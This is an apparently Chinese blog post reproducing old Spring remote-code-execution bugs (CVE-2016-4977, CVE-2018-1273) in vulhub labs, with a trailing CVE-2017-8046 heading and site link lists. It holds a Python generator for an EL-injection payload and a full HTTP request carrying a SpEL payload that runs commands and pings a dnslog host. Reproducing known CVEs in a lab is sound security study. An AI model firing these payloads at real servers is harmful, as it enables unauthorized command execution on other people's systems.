Spring 历史漏洞复现
1.Spring Security OAuth2.0 (CVE-2016-4977)
这个洞是由于Spring Security OAuth2.0的功能,在登录成功之后由于response_type不存在显示在Whitelabel Error Page上存在EL表达式注入漏洞
基本上使用了Spring Security OAuth2.0 默认路径就是这个了
难受之处在于必须登录成功,不然直接就认证失败了。
再看下执行命令 "ping 0hb8tu.dnslog.cn"
生成poc的脚本:
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
使用方法:
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
依然是使用vulhub复现:
POST /users?page=&size=5 HTTP/1.1
Host: xx.xx.xx.xx:8080
Content-Length: 54
Cache-Control: max-age=0
Origin: http://10.154.110.127:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.154.110.127:8080/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping j603y6.dnslog.cn")]=jinqi&password=123456&repeatedPassword=123456
利用难度较低
Spring Data Rest 远程命令执行 CVE-2017-8046
PATCH方法
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· .NET周刊【3月第1期 2025-03-02】
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器